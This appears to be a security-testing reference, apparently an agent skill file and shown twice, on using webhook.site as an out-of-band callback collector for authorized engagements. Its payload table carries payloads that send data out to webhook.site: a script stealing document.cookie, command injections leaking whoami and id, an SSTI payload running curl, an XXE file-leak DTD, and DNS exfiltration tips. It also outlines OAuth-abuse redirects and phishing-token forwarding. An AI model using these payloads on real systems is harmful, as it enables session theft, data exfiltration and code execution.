webhook.site
Hosted OAST collector + request inspector. Visiting webhook.site mints a unique token of the form https://webhook.site/<uuid>; every HTTP request and DNS query (via the matching *.dnshook.site subdomain) to that token is recorded with full headers, body, source IP, geolocation, and timing, and surfaced in a Web UI, JSON API, and (with whcli) a CLI stream that can forward or execute on each event.
Use it as the public callback endpoint for any blind vulnerability class, OAuth/SAML round-trip inspection, webhook integration debugging, or a temporary HTTPS relay into a local service during authorized engagements.
Scope Guard
- Confirm authorization in writing before pointing any target application, OAuth flow, or callback at webhook.site. Captured requests can contain tokens, cookies, PII, and credentials.
- Treat the token URL like a secret — anyone who knows it can read every request. Use the "Protect with password" / "Login required" features on paid plans for sensitive captures.
- For long-running or multi-operator engagements, use a paid token (persistent, higher limits) or self-host the open-source
webhook.site server on owned infrastructure.
- Free anonymous tokens expire after 7 days of inactivity and cap at 100 requests / 10 MB body — fine for OAST PoCs, not for sustained collection.
- Webhook.site is third-party SaaS: the operator (Simon Fredsted / webhook.site GmbH) sees every payload. Do not route customer production traffic, regulated data, or live credentials through it without a contractual agreement.
- For DNS exfil that must not transit a third party, prefer self-hosted
interactsh or an authoritative server you control.
When to Pick webhook.site
| Need |
Pick |
| HTTPS endpoint + DNS subdomain, full request UI, < 30 s setup |
webhook.site |
| Multi-protocol OAST (HTTP, DNS, SMTP, LDAP), self-hosted |
interactsh (oast.pro / self-host) |
| XSS-only blind callback with screenshot + DOM |
XSS Hunter (xsshunter.com / self-host) |
| Raw TCP listener for custom protocols |
bore, ncat -lkvnp, custom Python |
| HTTPS tunnel to a real local web app with debugger |
pinggy, ngrok, cloudflared |
| Persistent C2 channel |
Dedicated C2 framework — webhook.site is not stealthy and not designed for it |
Concepts
- Token: a UUID that owns a callback URL
https://webhook.site/<uuid>. Created automatically when you open the homepage in a browser, or programmatically via POST /token.
- DNSHook: every token has a matching
<id>.dnshook.site subdomain (<id> derived from the UUID). Any DNS query to <sub>.<id>.dnshook.site is captured.
- Email: every token also has
<id>@email.webhook.site for inbound email capture.
- Custom Actions (paid): per-token rules that modify the response, forward the request elsewhere, transform the body, or conditionally branch. Effectively a tiny serverless dataflow over the captured traffic.
- API key: a per-account secret sent as the
Api-Key HTTP header. Lets whcli and scripts create tokens, list/read requests, manage custom actions, and forward without anonymous rate limits.
- Whitelist IPs: outbound traffic from webhook.site (and Custom Action forwards) originates from
178.63.67.106, 178.63.67.153, 2a01:4f8:121:114d::/64, 2a01:4f8:121:11a5::/64. Open these on your target firewall when forwarding from webhook.site into an internal collector.
Quick Starts (Web UI)
- Open
https://webhook.site → page is now bound to a new token URL shown at the top.
- Trigger the callback (paste the URL into the target form, payload, OAuth
redirect_uri, SSRF probe, etc.).
- Inspect each captured request in the left pane: method, headers, raw + parsed body, source IP, country, user agent, timing.
- Use Edit to change the default 200 response (status code, headers, body, content-type, delay) when the target expects something specific.
- Use Copy for the unique URL,
<id>.dnshook.site host, or <id>@email.webhook.site address.
- Optional: "Login required" on the token page to gate UI access (paid).
Quick Starts (CLI — whcli)
# Install via Node (preferred for `forward`/`exec`)
npm install -g whcli
# Or via Docker
docker run --rm -it ghcr.io/webhooksite/whcli:latest --help
# Stream a token to the terminal
whcli forward --token=<UUID>
# Forward every captured request to a local web service
whcli forward --token=<UUID> --target=http://127.0.0.1:8080
# Forward only requests whose query string matches ?op=cb
whcli forward --token=<UUID> --target=http://127.0.0.1:8080 --query='op=cb'
# Run a local command per request (the raw request body is piped to stdin)
whcli exec --token=<UUID> --command='/usr/local/bin/handle.sh'
# Auth (paid plans / private tokens)
export WH_API_KEY='...'
whcli forward --token=<UUID> --target=http://127.0.0.1:8080
whcli keeps an HTTP long-poll / websocket open against https://webhook.site and replays every captured event locally — turning a public token into a real local listener without exposing your machine.
Quick Starts (JSON API)
Base URL: https://webhook.site. Authenticate scripted access with Api-Key: <YOUR_KEY>.
# Create a new token (returns JSON with uuid, alias, default-content, etc.)
curl -s -H 'Api-Key: '"$WH_API_KEY" -H 'Content-Type: application/json' \
-d '{"default_status":200,"default_content":"ok","default_content_type":"text/plain"}' \
https://webhook.site/token | jq .uuid
# List captured requests (paginated, newest first)
curl -s -H 'Api-Key: '"$WH_API_KEY" \
"https://webhook.site/token/<UUID>/requests?sorting=newest&per_page=50" | jq '.data[] | {ip,method,url,query}'
# Read one request's raw body
curl -s -H 'Api-Key: '"$WH_API_KEY" \
"https://webhook.site/token/<UUID>/request/<REQ_UUID>/raw"
# Delete all requests for a token
curl -s -X DELETE -H 'Api-Key: '"$WH_API_KEY" \
"https://webhook.site/token/<UUID>/request"
Body size limit: 10 MB per request (free); contact provider for paid tier limits.
OAST Playbook
The point of webhook.site is to confirm "did the target side-effect actually fire". Pick the channel that the vulnerability class can reach.
| Vulnerability |
Channel |
Payload pattern |
| Blind SSRF |
HTTP |
http://<UUID>.webhook.site/ssrf-probe?id=<MARKER> or https://webhook.site/<UUID>?via=ssrf |
| Blind XXE (HTTP egress) |
HTTP via external DTD |
DTD on attacker server referencing http://webhook.site/<UUID>/?leak=&file; |
| Blind XXE (DNS only) |
DNSHook |
DTD that triggers DNS resolution of <MARKER>.<id>.dnshook.site |
| Blind RCE / cmd injection |
HTTP + DNS |
curl https://webhook.site/<UUID>/$(whoami) (HTTP) or nslookup $(id -u).<id>.dnshook.site (DNS — works through restrictive egress) |
| Blind XSS |
HTTP fetch beacon |
<script>fetch('https://webhook.site/<UUID>/x?u='+document.cookie)</script> (use XSS Hunter for richer DOM capture) |
| OAuth / SAML redirect handling |
HTTP |
Set redirect_uri / RelayState / ACS URL to the token URL, inspect query/body for tokens. |
| SMTP / mail callback |
Email alias |
Trigger app to send mail to <id>@email.webhook.site. |
| Template / SSTI sanity check |
HTTP |
{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['__import__']('os').system('curl -s https://webhook.site/<UUID>?ok') }} (lab-style payload only). |
| Webhook integration debugging |
HTTP |
Point the third-party app's outbound webhook at the token URL and inspect headers/signature. |
Tips:
- Encode a unique marker per probe (
?id=<host>-<param>-<timestamp>) so multi-target campaigns can attribute callbacks.
- DNS exfil: chunk data with base32 (DNS-safe) into labels, max 63 chars each, max 253 total:
<chunk>.<chunk>.<id>.dnshook.site.
- Use Custom Actions to auto-forward only callbacks matching a query/header pattern to your internal collector, ignoring scanner noise.
Custom Actions (Paid)
Per-token rules evaluated on every inbound request. Useful primitives:
- Set response — return a specific status / headers / body to coerce the target into a follow-up request (e.g. 302 redirect chain for OAuth abuse, JSON shape for webhook contract tests).
- Forward — relay the request to an internal URL (honor the webhook.site outbound IP whitelist). Effectively turns the token into a public-facing reverse proxy.
- Modify — rewrite body / headers / URL via templating before forwarding.
- Conditional — branch on request properties (method, header, query, JSON path) so the same token serves multiple workflows.
- Stop — short-circuit further action evaluation.
Combine actions to build small dataflow pipelines (e.g. "if X-Phish-Token header present, forward to internal collector; else return 200"). For complex transforms prefer whcli forward --target to a local service you fully control.
Hardening Checklist
- Use a per-engagement token; rotate after the engagement to invalidate any payloads that escaped scope.
- Set a non-trivial
default_content and content-type — some targets behave differently when the callback returns HTML vs JSON vs empty.
- On paid plans, enable "Login required" or password-protect the token before sending the URL to anyone outside the operator team.
- When forwarding to internal services (Custom Actions or
whcli forward), require an Api-Key-style shared header so only webhook.site traffic is honored.
- Open OS firewall rules only for the webhook.site source IPs (
178.63.67.106, 178.63.67.153, 2a01:4f8:121:114d::/64, 2a01:4f8:121:11a5::/64) on the internal collector side.
- For high-stakes captures (production credentials, regulated data), self-host the open-source
webhook.site server or use interactsh on owned infrastructure.
- Treat captured bodies as evidence: export via API into the engagement ticket, then purge the token (
DELETE /token/<UUID>/request).
Troubleshooting
| Symptom |
Likely cause |
Fix |
| Callback never appears in UI |
Token URL typo, target egress blocked, payload mis-encoded. |
Curl the URL from your own box; check *.dnshook.site for DNS-only egress. |
| Request body truncated / empty |
10 MB cap exceeded, or chunked encoding the proxy stripped. |
Drop large fields, or use whcli forward to a local sink without the cap. |
| Token returns 429 / "rate limit" |
Free anonymous token hit the 100-request cap. |
Upgrade to a paid token, or rotate tokens per probe. |
whcli forward reconnects every few seconds |
Listen timeout or websocket drop; expected behavior. |
Set WH_LISTEN_TIMEOUT higher; the CLI auto-resumes. |
| Custom Action forward never reaches internal host |
Firewall blocks webhook.site outbound IPs. |
Allow the published IPv4/IPv6 ranges, or move to whcli forward originating from your own host. |
| DNSHook captures nothing |
Target resolver caches NXDOMAIN, or only egress is HTTP. |
Use a unique sub-label per probe to bust caches; for HTTP-only egress switch the probe to a https://webhook.site/<UUID>/... URL. |
| Captured headers missing original client IP |
A reverse proxy in front of the target rewrote X-Forwarded-For. |
Look at client_ip field in the API; cross-reference with target access logs. |
Resources
| File |
When to load |
references/usage-matrix.md |
Full whcli flag matrix, JSON API endpoint reference, OAST payload bank per vulnerability class, Custom Action recipes, side-by-side comparison vs interactsh / XSS Hunter / RequestBin / bore / pinggy. |
1---2name: webhook-site3description: Auth/lab ref: webhook.site: hosted out-of-band application security testing (OAST) collector - instantly generates a unique HTTPS URL plus DNSHook subdomain that records every HTTP request and DNS query, with a Web UI.4license: Web UI free tier; whcli MIT; commercial paid plans5---67# webhook.site89Hosted OAST collector + request inspector. Visiting [webhook.site](https://webhook.site) mints a unique token of the form `https://webhook.site/<uuid>`; every HTTP request and DNS query (via the matching `*.dnshook.site` subdomain) to that token is recorded with full headers, body, source IP, geolocation, and timing, and surfaced in a Web UI, JSON API, and (with `whcli`) a CLI stream that can forward or execute on each event.1011Use it as the public callback endpoint for any blind vulnerability class, OAuth/SAML round-trip inspection, webhook integration debugging, or a temporary HTTPS relay into a local service during authorized engagements.1213## Scope Guard1415- Confirm authorization in writing before pointing any target application, OAuth flow, or callback at webhook.site. Captured requests can contain tokens, cookies, PII, and credentials.16- Treat the token URL like a secret — anyone who knows it can read every request. Use the "Protect with password" / "Login required" features on paid plans for sensitive captures.17- For long-running or multi-operator engagements, use a paid token (persistent, higher limits) or self-host the open-source `webhook.site` server on owned infrastructure.18- Free anonymous tokens expire after 7 days of inactivity and cap at 100 requests / 10 MB body — fine for OAST PoCs, not for sustained collection.19- Webhook.site is third-party SaaS: the operator (Simon Fredsted / webhook.site GmbH) sees every payload. Do not route customer production traffic, regulated data, or live credentials through it without a contractual agreement.20- For DNS exfil that must not transit a third party, prefer self-hosted `interactsh` or an authoritative server you control.2122## When to Pick webhook.site2324| Need | Pick |25|---|---|26| HTTPS endpoint + DNS subdomain, full request UI, < 30 s setup | **webhook.site** |27| Multi-protocol OAST (HTTP, DNS, SMTP, LDAP), self-hosted | `interactsh` (oast.pro / self-host) |28| XSS-only blind callback with screenshot + DOM | XSS Hunter (xsshunter.com / self-host) |29| Raw TCP listener for custom protocols | `bore`, `ncat -lkvnp`, custom Python |30| HTTPS tunnel to a real local web app with debugger | `pinggy`, `ngrok`, `cloudflared` |31| Persistent C2 channel | Dedicated C2 framework — webhook.site is not stealthy and not designed for it |3233## Concepts3435- **Token**: a UUID that owns a callback URL `https://webhook.site/<uuid>`. Created automatically when you open the homepage in a browser, or programmatically via `POST /token`.36- **DNSHook**: every token has a matching `<id>.dnshook.site` subdomain (`<id>` derived from the UUID). Any DNS query to `<sub>.<id>.dnshook.site` is captured.37- **Email**: every token also has `<id>@email.webhook.site` for inbound email capture.38- **Custom Actions** (paid): per-token rules that modify the response, forward the request elsewhere, transform the body, or conditionally branch. Effectively a tiny serverless dataflow over the captured traffic.39- **API key**: a per-account secret sent as the `Api-Key` HTTP header. Lets `whcli` and scripts create tokens, list/read requests, manage custom actions, and forward without anonymous rate limits.40- **Whitelist IPs**: outbound traffic from webhook.site (and Custom Action forwards) originates from `178.63.67.106`, `178.63.67.153`, `2a01:4f8:121:114d::/64`, `2a01:4f8:121:11a5::/64`. Open these on your target firewall when forwarding from webhook.site into an internal collector.4142## Quick Starts (Web UI)43441. Open `https://webhook.site` → page is now bound to a new token URL shown at the top.452. Trigger the callback (paste the URL into the target form, payload, OAuth `redirect_uri`, SSRF probe, etc.).463. Inspect each captured request in the left pane: method, headers, raw + parsed body, source IP, country, user agent, timing.474. Use **Edit** to change the default 200 response (status code, headers, body, content-type, delay) when the target expects something specific.485. Use **Copy** for the unique URL, `<id>.dnshook.site` host, or `<id>@email.webhook.site` address.496. Optional: "Login required" on the token page to gate UI access (paid).5051## Quick Starts (CLI — `whcli`)5253```bash54# Install via Node (preferred for `forward`/`exec`)55npm install -g whcli5657# Or via Docker58docker run --rm -it ghcr.io/webhooksite/whcli:latest --help5960# Stream a token to the terminal61whcli forward --token=<UUID>6263# Forward every captured request to a local web service64whcli forward --token=<UUID> --target=http://127.0.0.1:80806566# Forward only requests whose query string matches ?op=cb67whcli forward --token=<UUID> --target=http://127.0.0.1:8080 --query='op=cb'6869# Run a local command per request (the raw request body is piped to stdin)70whcli exec --token=<UUID> --command='/usr/local/bin/handle.sh'7172# Auth (paid plans / private tokens)73export WH_API_KEY='...'74whcli forward --token=<UUID> --target=http://127.0.0.1:808075```7677`whcli` keeps an HTTP long-poll / websocket open against `https://webhook.site` and replays every captured event locally — turning a public token into a real local listener without exposing your machine.7879## Quick Starts (JSON API)8081Base URL: `https://webhook.site`. Authenticate scripted access with `Api-Key: <YOUR_KEY>`.8283```bash84# Create a new token (returns JSON with uuid, alias, default-content, etc.)85curl -s -H 'Api-Key: '"$WH_API_KEY" -H 'Content-Type: application/json' \86 -d '{"default_status":200,"default_content":"ok","default_content_type":"text/plain"}' \87 https://webhook.site/token | jq .uuid8889# List captured requests (paginated, newest first)90curl -s -H 'Api-Key: '"$WH_API_KEY" \91 "https://webhook.site/token/<UUID>/requests?sorting=newest&per_page=50" | jq '.data[] | {ip,method,url,query}'9293# Read one request's raw body94curl -s -H 'Api-Key: '"$WH_API_KEY" \95 "https://webhook.site/token/<UUID>/request/<REQ_UUID>/raw"9697# Delete all requests for a token98curl -s -X DELETE -H 'Api-Key: '"$WH_API_KEY" \99 "https://webhook.site/token/<UUID>/request"100```101102Body size limit: 10 MB per request (free); contact provider for paid tier limits.103104## OAST Playbook105106The point of webhook.site is to confirm "did the target side-effect actually fire". Pick the channel that the vulnerability class can reach.107108| Vulnerability | Channel | Payload pattern |109|---|---|---|110| Blind SSRF | HTTP | `http://<UUID>.webhook.site/ssrf-probe?id=<MARKER>` or `https://webhook.site/<UUID>?via=ssrf` |111| Blind XXE (HTTP egress) | HTTP via external DTD | DTD on attacker server referencing `http://webhook.site/<UUID>/?leak=&file;` |112| Blind XXE (DNS only) | DNSHook | DTD that triggers DNS resolution of `<MARKER>.<id>.dnshook.site` |113| Blind RCE / cmd injection | HTTP + DNS | `curl https://webhook.site/<UUID>/$(whoami)` (HTTP) or `nslookup $(id -u).<id>.dnshook.site` (DNS — works through restrictive egress) |114| Blind XSS | HTTP `fetch` beacon | `<script>fetch('https://webhook.site/<UUID>/x?u='+document.cookie)</script>` (use XSS Hunter for richer DOM capture) |115| OAuth / SAML redirect handling | HTTP | Set `redirect_uri` / `RelayState` / `ACS URL` to the token URL, inspect query/body for tokens. |116| SMTP / mail callback | Email alias | Trigger app to send mail to `<id>@email.webhook.site`. |117| Template / SSTI sanity check | HTTP | `{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['__import__']('os').system('curl -s https://webhook.site/<UUID>?ok') }}` (lab-style payload only). |118| Webhook integration debugging | HTTP | Point the third-party app's outbound webhook at the token URL and inspect headers/signature. |119120Tips:121122- Encode a unique marker per probe (`?id=<host>-<param>-<timestamp>`) so multi-target campaigns can attribute callbacks.123- DNS exfil: chunk data with base32 (DNS-safe) into labels, max 63 chars each, max 253 total: `<chunk>.<chunk>.<id>.dnshook.site`.124- Use Custom Actions to auto-forward only callbacks matching a query/header pattern to your internal collector, ignoring scanner noise.125126## Custom Actions (Paid)127128Per-token rules evaluated on every inbound request. Useful primitives:129130- **Set response** — return a specific status / headers / body to coerce the target into a follow-up request (e.g. 302 redirect chain for OAuth abuse, JSON shape for webhook contract tests).131- **Forward** — relay the request to an internal URL (honor the webhook.site outbound IP whitelist). Effectively turns the token into a public-facing reverse proxy.132- **Modify** — rewrite body / headers / URL via templating before forwarding.133- **Conditional** — branch on request properties (method, header, query, JSON path) so the same token serves multiple workflows.134- **Stop** — short-circuit further action evaluation.135136Combine actions to build small dataflow pipelines (e.g. "if `X-Phish-Token` header present, forward to internal collector; else return 200"). For complex transforms prefer `whcli forward --target` to a local service you fully control.137138## Hardening Checklist139140- Use a per-engagement token; rotate after the engagement to invalidate any payloads that escaped scope.141- Set a non-trivial `default_content` and content-type — some targets behave differently when the callback returns HTML vs JSON vs empty.142- On paid plans, enable "Login required" or password-protect the token before sending the URL to anyone outside the operator team.143- When forwarding to internal services (Custom Actions or `whcli forward`), require an `Api-Key`-style shared header so only webhook.site traffic is honored.144- Open OS firewall rules only for the webhook.site source IPs (`178.63.67.106`, `178.63.67.153`, `2a01:4f8:121:114d::/64`, `2a01:4f8:121:11a5::/64`) on the internal collector side.145- For high-stakes captures (production credentials, regulated data), self-host the open-source `webhook.site` server or use `interactsh` on owned infrastructure.146- Treat captured bodies as evidence: export via API into the engagement ticket, then purge the token (`DELETE /token/<UUID>/request`).147148## Troubleshooting149150| Symptom | Likely cause | Fix |151|---|---|---|152| Callback never appears in UI | Token URL typo, target egress blocked, payload mis-encoded. | Curl the URL from your own box; check `*.dnshook.site` for DNS-only egress. |153| Request body truncated / empty | 10 MB cap exceeded, or chunked encoding the proxy stripped. | Drop large fields, or use `whcli forward` to a local sink without the cap. |154| Token returns 429 / "rate limit" | Free anonymous token hit the 100-request cap. | Upgrade to a paid token, or rotate tokens per probe. |155| `whcli forward` reconnects every few seconds | Listen timeout or websocket drop; expected behavior. | Set `WH_LISTEN_TIMEOUT` higher; the CLI auto-resumes. |156| Custom Action forward never reaches internal host | Firewall blocks webhook.site outbound IPs. | Allow the published IPv4/IPv6 ranges, or move to `whcli forward` originating from your own host. |157| DNSHook captures nothing | Target resolver caches NXDOMAIN, or only egress is HTTP. | Use a unique sub-label per probe to bust caches; for HTTP-only egress switch the probe to a `https://webhook.site/<UUID>/...` URL. |158| Captured headers missing original client IP | A reverse proxy in front of the target rewrote `X-Forwarded-For`. | Look at `client_ip` field in the API; cross-reference with target access logs. |159160## Resources161162| File | When to load |163|---|---|164| `references/usage-matrix.md` | Full `whcli` flag matrix, JSON API endpoint reference, OAST payload bank per vulnerability class, Custom Action recipes, side-by-side comparison vs interactsh / XSS Hunter / RequestBin / bore / pinggy. |